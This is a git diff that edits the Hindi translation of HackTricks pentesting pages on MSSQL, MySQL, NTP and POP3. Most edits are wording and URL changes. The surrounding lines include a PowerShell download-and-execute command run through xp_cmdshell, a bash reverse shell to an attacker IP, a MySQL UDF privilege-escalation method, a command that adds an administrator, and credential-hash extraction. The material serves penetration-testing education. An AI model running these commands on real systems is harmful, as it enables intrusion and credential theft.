@@ -32,7 +32,7 @@ msf> use auxiliary/scanner/mssql/mssql_ping
> [!NOTE]
> यदि आपके पास **क्रेडेंशियल्स** **नहीं हैं** तो आप उन्हें अनुमान लगाने की कोशिश कर सकते हैं। आप nmap या metasploit का उपयोग कर सकते हैं। सावधान रहें, यदि आप एक मौजूदा उपयोगकर्ता नाम का उपयोग करके कई बार लॉगिन करने में असफल होते हैं तो आप **खातों को ब्लॉक** कर सकते हैं।
-#### Metasploit (क्रेड्स की आवश्यकता)
+#### Metasploit (क्रेडेंशियल्स की आवश्यकता)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
@@ -102,7 +102,7 @@ sqsh -S -U .\\ -P -D
1> select 1;
2> go
```
-#### सामान्य सूचीकरण
+#### सामान्य एन्यूमरेशन
```sql
# Get version
select @@version;
@@ -156,13 +156,13 @@ SELECT * FROM sysusers
#### अनुमतियाँ प्राप्त करें
1. **Securable:** SQL Server द्वारा पहुँच नियंत्रण के लिए प्रबंधित संसाधनों के रूप में परिभाषित। इन्हें निम्नलिखित श्रेणियों में वर्गीकृत किया गया है:
-- **Server** – उदाहरणों में डेटाबेस, लॉगिन, एंडपॉइंट, उपलब्धता समूह, और सर्वर भूमिकाएँ शामिल हैं।
-- **Database** – उदाहरणों में डेटाबेस भूमिका, अनुप्रयोग भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं।
-- **Schema** – इसमें तालिकाएँ, दृश्य, प्रक्रियाएँ, कार्य, पर्यायवाची, आदि शामिल हैं।
-2. **Permission:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसी अनुमतियाँ एक प्रमुख को दी जा सकती हैं। अनुमतियों का प्रबंधन दो स्तरों पर होता है:
-- **Server Level** लॉगिन का उपयोग करके
-- **Database Level** उपयोगकर्ताओं का उपयोग करके
-3. **Principal:** यह शब्द उस इकाई को संदर्भित करता है जिसे एक securable पर अनुमति दी जाती है। प्रमुख मुख्य रूप से लॉगिन और डेटाबेस उपयोगकर्ताओं को शामिल करते हैं। Securables तक पहुँच पर नियंत्रण अनुमतियों को देने या अस्वीकार करने या लॉगिन और उपयोगकर्ताओं को पहुँच अधिकारों से सुसज्जित भूमिकाओं में शामिल करके किया जाता है।
+- **सर्वर** – उदाहरणों में डेटाबेस, लॉगिन, एंडपॉइंट, उपलब्धता समूह, और सर्वर भूमिकाएँ शामिल हैं।
+- **डेटाबेस** – उदाहरणों में डेटाबेस भूमिका, अनुप्रयोग भूमिकाएँ, स्कीमा, प्रमाणपत्र, पूर्ण पाठ कैटलॉग, और उपयोगकर्ता शामिल हैं।
+- **स्कीमा** – इसमें तालिकाएँ, दृश्य, प्रक्रियाएँ, कार्य, पर्यायवाची, आदि शामिल हैं।
+2. **अनुमति:** SQL Server securables से संबंधित, ALTER, CONTROL, और CREATE जैसी अनुमतियाँ एक प्रमुख को दी जा सकती हैं। अनुमतियों का प्रबंधन दो स्तरों पर होता है:
+- **सर्वर स्तर** लॉगिन का उपयोग करके
+- **डेटाबेस स्तर** उपयोगकर्ताओं का उपयोग करके
+3. **प्रमुख:** यह शब्द उस इकाई को संदर्भित करता है जिसे एक securable पर अनुमति दी जाती है। प्रमुख मुख्य रूप से लॉगिन और डेटाबेस उपयोगकर्ताओं को शामिल करते हैं। Securables तक पहुँच पर नियंत्रण अनुमतियों को देने या अस्वीकार करने या लॉगिन और उपयोगकर्ताओं को पहुँच अधिकारों से सुसज्जित भूमिकाओं में शामिल करके किया जाता है।
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@@ -270,7 +270,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> ```
**responder** या **Inveigh** जैसे उपकरणों का उपयोग करके **NetNTLM हैश** को **चुराना** संभव है।\
-आप इन उपकरणों का उपयोग कैसे करें, यह देख सकते हैं:
+आप देख सकते हैं कि इन उपकरणों का उपयोग कैसे करें:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE
```
### **फाइल पढ़ें** OPENROWSET के साथ
-डिफ़ॉल्ट रूप से, `MSSQL` फाइल **कोई भी फाइल पढ़ने की अनुमति देता है जिसमें ऑपरेटिंग सिस्टम में खाता पढ़ने की पहुंच रखता है**। हम निम्नलिखित SQL क्वेरी का उपयोग कर सकते हैं:
+डिफ़ॉल्ट रूप से, `MSSQL` फाइल **कोई भी फाइल पढ़ने की अनुमति देता है जिसमें खाते को पढ़ने की अनुमति है**। हम निम्नलिखित SQL क्वेरी का उपयोग कर सकते हैं:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@@ -319,7 +319,7 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
-### **RCE/फाइलें पढ़ना स्क्रिप्ट्स चलाना (Python और R)**
+### **RCE/फाइलें पढ़ना स्क्रिप्ट चलाना (Python और R)**
MSSQL आपको **Python और/या R** में **स्क्रिप्ट्स** चलाने की अनुमति दे सकता है। ये कोड एक **अलग उपयोगकर्ता** द्वारा चलाए जाएंगे जो **xp_cmdshell** का उपयोग करके कमांड्स चलाता है।
@@ -370,7 +370,7 @@ For **अधिक उदाहरणों** के लिए [**मूल स
### RCE with MSSQL User Defined Function - SQLHttp
-यह **कस्टम फ़ंक्शंस के साथ MSSQL के भीतर एक .NET dll लोड करना संभव है**। हालांकि, यह **`dbo` एक्सेस की आवश्यकता होती है** इसलिए आपको **`sa` या एक Administrator भूमिका** के रूप में डेटाबेस के साथ एक कनेक्शन की आवश्यकता है।
+यह **कस्टम फ़ंक्शंस** के साथ MSSQL के भीतर एक .NET dll **लोड करना संभव है**। हालांकि, इसके लिए **`dbo` एक्सेस की आवश्यकता है** इसलिए आपको **`sa` या एक Administrator भूमिका** के रूप में डेटाबेस के साथ एक कनेक्शन की आवश्यकता है।
[**इस लिंक का पालन करें**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) एक उदाहरण देखने के लिए।
@@ -432,13 +432,13 @@ public void Test()
```
### अन्य तरीके RCE के लिए
-कमांड निष्पादन प्राप्त करने के अन्य तरीके हैं, जैसे कि [विस्तारित स्टोर प्रक्रियाएँ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR असेंबली](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL सर्वर एजेंट जॉब्स](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), और [बाहरी स्क्रिप्ट](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)।
+कमांड निष्पादन प्राप्त करने के अन्य तरीके हैं, जैसे कि [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), और [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)।
## MSSQL विशेषाधिकार वृद्धि
### db_owner से sysadmin तक
-यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** की भूमिका **एक प्रशासक** उपयोगकर्ता द्वारा स्वामित्व वाले **डेटाबेस** पर दी जाती है (जैसे **`sa`**) और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाई गई **स्टोर प्रक्रियाएँ** स्वामी (**प्रशासक**) के रूप में **निष्पादित** कर सकती हैं।
+यदि एक **सामान्य उपयोगकर्ता** को **`db_owner`** की भूमिका **एक admin** उपयोगकर्ता द्वारा स्वामित्व वाली **डेटाबेस** पर दी जाती है (जैसे **`sa`**) और वह डेटाबेस **`trustworthy`** के रूप में कॉन्फ़िगर किया गया है, तो वह उपयोगकर्ता इन विशेषाधिकारों का दुरुपयोग कर सकता है **privesc** के लिए क्योंकि वहाँ बनाए गए **stored procedures** को **admin** के रूप में **execute** किया जा सकता है।
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@@ -527,7 +527,7 @@ msf> auxiliary/admin/mssql/mssql_escalate_execute_as
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
```
-## MSSQL का उपयोग करना स्थायीता के लिए
+## MSSQL का उपयोग करना स्थिरता के लिए
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
@@ -535,7 +535,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
एक हमलावर SQL Server Linked Servers के पासवर्ड को SQL Instances से निकाल सकता है और उन्हें स्पष्ट पाठ में प्राप्त कर सकता है, जिससे हमलावर को ऐसे पासवर्ड मिलते हैं जिनका उपयोग लक्ष्य पर अधिक पकड़ बनाने के लिए किया जा सकता है। Linked Servers के लिए संग्रहीत पासवर्ड को निकालने और डिक्रिप्ट करने के लिए स्क्रिप्ट [यहां](https://www.richardswinbank.net/admin/extract_linked_server_passwords) मिल सकती है।
-इस एक्सप्लॉइट के काम करने के लिए कुछ आवश्यकताएँ और कॉन्फ़िगरेशन किए जाने चाहिए। सबसे पहले, आपके पास मशीन पर व्यवस्थापक अधिकार होना चाहिए, या SQL Server कॉन्फ़िगरेशन प्रबंधित करने की क्षमता होनी चाहिए।
+इस एक्सप्लॉइट के काम करने के लिए कुछ आवश्यकताएँ और कॉन्फ़िगरेशन किए जाने चाहिए। सबसे पहले, आपके पास मशीन पर व्यवस्थापक अधिकार होने चाहिए, या SQL Server कॉन्फ़िगरेशन प्रबंधित करने की क्षमता होनी चाहिए।
अपनी अनुमतियों को मान्य करने के बाद, आपको तीन चीजें कॉन्फ़िगर करनी होंगी, जो निम्नलिखित हैं:
@@ -620,7 +620,7 @@ go
xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"
-https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mssql-microsoft-sql-server/index.html
Entry_2:
Name: Nmap for SQL
diff --git a/src/network-services-pentesting/pentesting-mysql.md b/src/network-services-pentesting/pentesting-mysql.md
index 90c6018aa..5ae35b6fe 100644
--- a/src/network-services-pentesting/pentesting-mysql.md
+++ b/src/network-services-pentesting/pentesting-mysql.md
@@ -17,14 +17,14 @@
mysql -u root # Connect to root without password
mysql -u root -p # A password will be asked (check someone)
```
-### दूरस्थ
+### रिमोट
```bash
mysql -h -u root
mysql -h -u root@localhost
```
## External Enumeration
-कुछ एन्यूमरेशन क्रियाएँ मान्य क्रेडेंशियल्स की आवश्यकता होती है।
+कुछ एन्यूमरेशन क्रियाएँ मान्य क्रेडेंशियल्स की आवश्यकता होती है
```bash
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122
msf> use auxiliary/scanner/mysql/mysql_version
@@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
-### कोई भी बाइनरी डेटा लिखें
+### किसी भी बाइनरी डेटा को लिखें
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@@ -78,7 +78,7 @@ quit;
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
mysql -u root -h 127.0.0.1 -e 'show databases;'
```
-### MySQL अनुमति गणना
+### MySQL अनुमतियों की गणना
```sql
#Mysql
SHOW GRANTS [FOR user];
@@ -111,7 +111,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
## MySQL द्वारा क्लाइंट द्वारा मनमाना पढ़ने की फ़ाइल
-वास्तव में, जब आप **एक तालिका में स्थानीय डेटा लोड करने** की कोशिश करते हैं, तो **एक फ़ाइल की सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से इसे पढ़ने** और सामग्री भेजने के लिए पूछता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\
+वास्तव में, जब आप **एक तालिका में स्थानीय डेटा लोड करने** की कोशिश करते हैं, तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से इसे पढ़ने** और सामग्री भेजने के लिए पूछता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\
कृपया ध्यान दें कि यह व्यवहार का उपयोग करते समय है:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@@ -123,8 +123,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
-**प्रारंभिक PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
-**इस पेपर में आप हमले का पूरा विवरण देख सकते हैं और यहां तक कि इसे RCE तक कैसे बढ़ाना है:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
+**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
+**इस पेपर में आप हमले का पूरा विवरण देख सकते हैं और यहां तक कि इसे RCE तक कैसे बढ़ाया जाए:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**यहां आप हमले का एक अवलोकन पा सकते हैं:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@@ -133,7 +133,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
## POST
-### Mysql उपयोगकर्ता
+### Mysql User
यह बहुत दिलचस्प होगा यदि mysql **root** के रूप में चल रहा है:
```bash
@@ -145,11 +145,11 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
MySQL सेवाओं की कॉन्फ़िगरेशन में, इसके संचालन और सुरक्षा उपायों को परिभाषित करने के लिए विभिन्न सेटिंग्स का उपयोग किया जाता है:
- **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा निष्पादित होगी।
-- **`password`** का उपयोग MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए किया जाता है।
+- **`password`** MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए लागू किया जाता है।
- **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है।
-- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन को दर्शाता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
-- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनियों के उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा शामिल होता है।
-- **`secure_file_priv`** के साथ, डेटा आयात और निर्यात संचालन के दायरे को सुरक्षा बढ़ाने के लिए सीमित किया गया है।
+- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन का संकेत देता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
+- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनी उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है।
+- **`secure_file_priv`** डेटा आयात और निर्यात संचालन के दायरे को सीमित करता है ताकि सुरक्षा बढ़ाई जा सके।
### विशेषाधिकार वृद्धि
```bash
@@ -169,13 +169,13 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
-### विशेषाधिकार वृद्धि पुस्तकालय के माध्यम से
+### Privilege Escalation via library
-यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्य** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **पुस्तकालय** की आवश्यकता होगी जो mysql चला रहा है।
+यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **user defined functions** का उपयोग करने की आवश्यकता है। और एक user defined बनाने के लिए आपको उस OS के लिए एक **library** की आवश्यकता होगी जो mysql चला रहा है।
-उपयोग करने के लिए दुर्भावनापूर्ण पुस्तकालय sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाया जा सकता है। **`.so`** फ़ाइलें **linux** पुस्तकालय हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए।
+उपयोग करने के लिए दुर्भावनापूर्ण लाइब्रेरी sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाई जा सकती है। **`.so`** फ़ाइलें **linux** लाइब्रेरी हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए।
-यदि आपके पास वे पुस्तकालय **नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड करें और **linux कमजोर मशीन के अंदर इसे संकलित करें**:
+यदि आपके पास **वे लाइब्रेरी नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C code**](https://www.exploit-db.com/exploits/1518) को डाउनलोड करें और **linux कमजोर मशीन के अंदर इसे संकलित करें**:
```bash
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
@@ -202,7 +202,7 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
```
-#### विंडोज
+#### Windows
```sql
# CHech the linux comments for more indications
USE mysql;
@@ -216,7 +216,7 @@ SELECT sys_exec("net localgroup Administrators npn /add");
```
### Extracting MySQL credentials from files
-/_/etc/mysql/debian.cnf_ के अंदर आप उपयोगकर्ता **debian-sys-maint** का **plain-text password** पा सकते हैं
+Inside _/etc/mysql/debian.cnf_ you can find the **plain-text password** of the user **debian-sys-maint**
```bash
cat /etc/mysql/debian.cnf
```
@@ -224,7 +224,7 @@ cat /etc/mysql/debian.cnf
फाइल के अंदर: _/var/lib/mysql/mysql/user.MYD_ आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं_।
-आप इन्हें निकाल सकते हैं:
+आप उन्हें निकाल सकते हैं:
```bash
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
```
@@ -590,7 +590,7 @@ Description: Notes for MySql
Note: |
MySQL is a freely available open source Relational Database Management System (RDBMS) that uses Structured Query Language (SQL).
-https://book.hacktricks.xyz/pentesting/pentesting-mysql
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html
Entry_2:
Name: Nmap
diff --git a/src/network-services-pentesting/pentesting-ntp.md b/src/network-services-pentesting/pentesting-ntp.md
index aa375e4ea..99eb528f0 100644
--- a/src/network-services-pentesting/pentesting-ntp.md
+++ b/src/network-services-pentesting/pentesting-ntp.md
@@ -4,7 +4,7 @@
## Basic Information
-**नेटवर्क टाइम प्रोटोकॉल (NTP)** यह सुनिश्चित करता है कि कंप्यूटर और नेटवर्क उपकरण विभिन्न-लेटेंसी नेटवर्क पर अपने घड़ियों को सटीक रूप से समन्वयित करें। यह IT संचालन, सुरक्षा और लॉगिंग में सटीक समयkeeping बनाए रखने के लिए महत्वपूर्ण है। NTP की सटीकता आवश्यक है, लेकिन यदि इसे सही तरीके से प्रबंधित नहीं किया गया तो यह सुरक्षा जोखिम भी पैदा कर सकता है।
+**नेटवर्क टाइम प्रोटोकॉल (NTP)** यह सुनिश्चित करता है कि कंप्यूटर और नेटवर्क उपकरण विभिन्न-लेटेंसी नेटवर्क पर अपने घड़ियों को सटीक रूप से समन्वयित करें। यह IT संचालन, सुरक्षा, और लॉगिंग में सटीक समयkeeping बनाए रखने के लिए महत्वपूर्ण है। NTP की सटीकता आवश्यक है, लेकिन यदि इसे सही तरीके से प्रबंधित नहीं किया गया तो यह सुरक्षा जोखिम भी पैदा कर सकता है।
### Summary & Security Tips:
@@ -12,7 +12,7 @@
- **महत्व**: सुरक्षा, लॉगिंग, और संचालन के लिए महत्वपूर्ण।
- **सुरक्षा उपाय**:
- प्रमाणीकरण के साथ विश्वसनीय NTP स्रोतों का उपयोग करें।
-- NTP सर्वर के नेटवर्क पहुंच को सीमित करें।
+- NTP सर्वर नेटवर्क पहुंच को सीमित करें।
- छेड़छाड़ के संकेतों के लिए समन्वय की निगरानी करें।
**डिफ़ॉल्ट पोर्ट:** 123/udp
@@ -20,7 +20,7 @@
PORT STATE SERVICE REASON
123/udp open ntp udp-response
```
-## गणना
+## Enumeration
```bash
ntpq -c readlist
ntpq -c readvar
@@ -42,7 +42,7 @@ nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 1
[**How NTP DDoS Attack Works**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
-**NTP प्रोटोकॉल**, UDP का उपयोग करते हुए, हैंडशेक प्रक्रियाओं की आवश्यकता के बिना संचालन की अनुमति देता है, TCP के विपरीत। इस विशेषता का उपयोग **NTP DDoS amplification attacks** में किया जाता है। यहाँ, हमलावर एक नकली स्रोत IP के साथ पैकेट बनाते हैं, जिससे ऐसा प्रतीत होता है कि हमले के अनुरोध पीड़ित से आ रहे हैं। ये पैकेट, जो प्रारंभ में छोटे होते हैं, NTP सर्वर को बहुत बड़े डेटा वॉल्यूम के साथ प्रतिक्रिया देने के लिए प्रेरित करते हैं, जिससे हमले की तीव्रता बढ़ जाती है।
+**NTP प्रोटोकॉल**, UDP का उपयोग करते हुए, हैंडशेक प्रक्रियाओं की आवश्यकता के बिना संचालन की अनुमति देता है, TCP के विपरीत। इस विशेषता का उपयोग **NTP DDoS amplification attacks** में किया जाता है। यहाँ, हमलावर एक नकली स्रोत IP के साथ पैकेट बनाते हैं, जिससे ऐसा प्रतीत होता है कि हमले के अनुरोध पीड़ित से आ रहे हैं। ये पैकेट, जो प्रारंभ में छोटे होते हैं, NTP सर्वर को बहुत बड़े डेटा वॉल्यूम के साथ प्रतिक्रिया देने के लिए प्रेरित करते हैं, जिससे हमले को बढ़ावा मिलता है।
_**MONLIST**_ कमांड, इसके दुर्लभ उपयोग के बावजूद, NTP सेवा से जुड़े अंतिम 600 क्लाइंट्स की रिपोर्ट कर सकता है। जबकि कमांड स्वयं सरल है, ऐसे हमलों में इसका दुरुपयोग महत्वपूर्ण सुरक्षा कमजोरियों को उजागर करता है।
```bash
@@ -52,7 +52,7 @@ ntpdc -n -c monlist
- `ntp`
-## HackTricks स्वचालित आदेश
+## HackTricks Automatic Commands
```
Protocol_Name: NTP #Protocol Abbreviation if there is one.
Port_Number: 123 #Comma separated if there is more than one.
@@ -64,11 +64,13 @@ Description: Notes for NTP
Note: |
The Network Time Protocol (NTP) ensures computers and network devices across variable-latency networks sync their clocks accurately. It's vital for maintaining precise timekeeping in IT operations, security, and logging. NTP's accuracy is essential, but it also poses security risks if not properly managed.
-https://book.hacktricks.xyz/pentesting/pentesting-ntp
+https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-ntp.html
Entry_2:
Name: Nmap
Description: Enumerate NTP
Command: nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 {IP}
```
+
+
{{#include ../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-pop.md b/src/network-services-pentesting/pentesting-pop.md
index d879b74bb..29189920d 100644
--- a/src/network-services-pentesting/pentesting-pop.md
+++ b/src/network-services-pentesting/pentesting-pop.md
@@ -4,7 +4,7 @@
## Basic Information
-**पोस्ट ऑफिस प्रोटोकॉल (POP)** को कंप्यूटर नेटवर्किंग और इंटरनेट के क्षेत्र में एक प्रोटोकॉल के रूप में वर्णित किया गया है, जिसका उपयोग **दूरस्थ मेल सर्वर से ईमेल निकालने और पुनर्प्राप्त करने** के लिए किया जाता है, जिससे यह स्थानीय डिवाइस पर सुलभ हो जाता है। OSI मॉडल के एप्लिकेशन लेयर में स्थित, यह प्रोटोकॉल उपयोगकर्ताओं को ईमेल लाने और प्राप्त करने की अनुमति देता है। **POP क्लाइंट्स** का संचालन आमतौर पर मेल सर्वर से कनेक्शन स्थापित करने, सभी संदेशों को डाउनलोड करने, इन संदेशों को क्लाइंट सिस्टम पर स्थानीय रूप से संग्रहीत करने, और फिर उन्हें सर्वर से हटाने में शामिल होता है। हालांकि इस प्रोटोकॉल के तीन संस्करण हैं, **POP3** सबसे अधिक उपयोग में लाया जाने वाला संस्करण है।
+**पोस्ट ऑफिस प्रोटोकॉल (POP)** को कंप्यूटर नेटवर्किंग और इंटरनेट के क्षेत्र में एक प्रोटोकॉल के रूप में वर्णित किया गया है, जिसका उपयोग **दूरस्थ मेल सर्वर से ईमेल निकालने और पुनर्प्राप्त करने** के लिए किया जाता है, जिससे यह स्थानीय डिवाइस पर सुलभ हो जाता है। OSI मॉडल की एप्लिकेशन परत में स्थित, यह प्रोटोकॉल उपयोगकर्ताओं को ईमेल लाने और प्राप्त करने की अनुमति देता है। **POP क्लाइंट्स** का संचालन आमतौर पर मेल सर्वर से कनेक्शन स्थापित करने, सभी संदेशों को डाउनलोड करने, इन संदेशों को क्लाइंट सिस्टम पर स्थानीय रूप से संग्रहीत करने, और बाद में उन्हें सर्वर से हटाने में शामिल होता है। हालांकि इस प्रोटोकॉल के तीन संस्करण हैं, **POP3** सबसे अधिक उपयोग में लाया जाने वाला संस्करण है।
**डिफ़ॉल्ट पोर्ट:** 110, 995(ssl)
```
@@ -13,14 +13,14 @@ PORT STATE SERVICE
```
## Enumeration
-### बैनर ग्रैबिंग
+### Banner Grabbing
```bash
nc -nv 110
openssl s_client -connect :995 -crlf -quiet
```
## मैनुअल
-आप `CAPA` कमांड का उपयोग करके POP3 सर्वर की क्षमताओं को प्राप्त कर सकते हैं।
+आप `CAPA` कमांड का उपयोग करके POP3 सर्वर की क्षमताएँ प्राप्त कर सकते हैं।
## स्वचालित
```bash
@@ -71,11 +71,11 @@ Here is your login for remote desktop ... try not to forget it this time!
username: billydean
password: PA$$W0RD!Z
```
-## पासवर्ड लॉगिंग
+## Logging Passwords
-**`auth_debug`** सक्षम करने वाले POP सर्वर उत्पन्न होने वाले लॉग को बढ़ा देंगे। हालाँकि, यदि **`auth_debug_passwords`** या **`auth_verbose_passwords`** को **`true`** के रूप में सेट किया गया है, तो पासवर्ड उन लॉग में स्पष्ट पाठ में भी लॉग किया जा सकता है।
+POP सर्वर जिनमें सेटिंग **`auth_debug`** सक्षम है, वे उत्पन्न होने वाले लॉग को बढ़ा देंगे। हालाँकि, यदि **`auth_debug_passwords`** या **`auth_verbose_passwords`** को **`true`** के रूप में सेट किया गया है, तो पासवर्ड भी उन लॉग में स्पष्ट पाठ में लॉग किया जा सकता है।
-## HackTricks स्वचालित कमांड
+## HackTricks Automatic Commands
```
Protocol_Name: POP #Protocol Abbreviation if there is one.
Port_Number: 110 #Comma separated if there is more than one.
@@ -87,7 +87,7 @@ Description: Notes for POP
Note: |
Post Office Protocol (POP) is described as a protocol within the realm of computer networking and the Internet, which is utilized for the extraction and retrieval of email from a remote mail server**, making it accessible on the local device. Positioned within the application layer of the OSI model, this protocol enables users to fetch and receive email. The operation of POP clients typically involves establishing a connection to the mail server, downloading all messages, storing these messages locally on the client system, and subsequently removing them from the server. Although there are three iterations of this protocol, POP3 stands out as the most prevalently employed version.
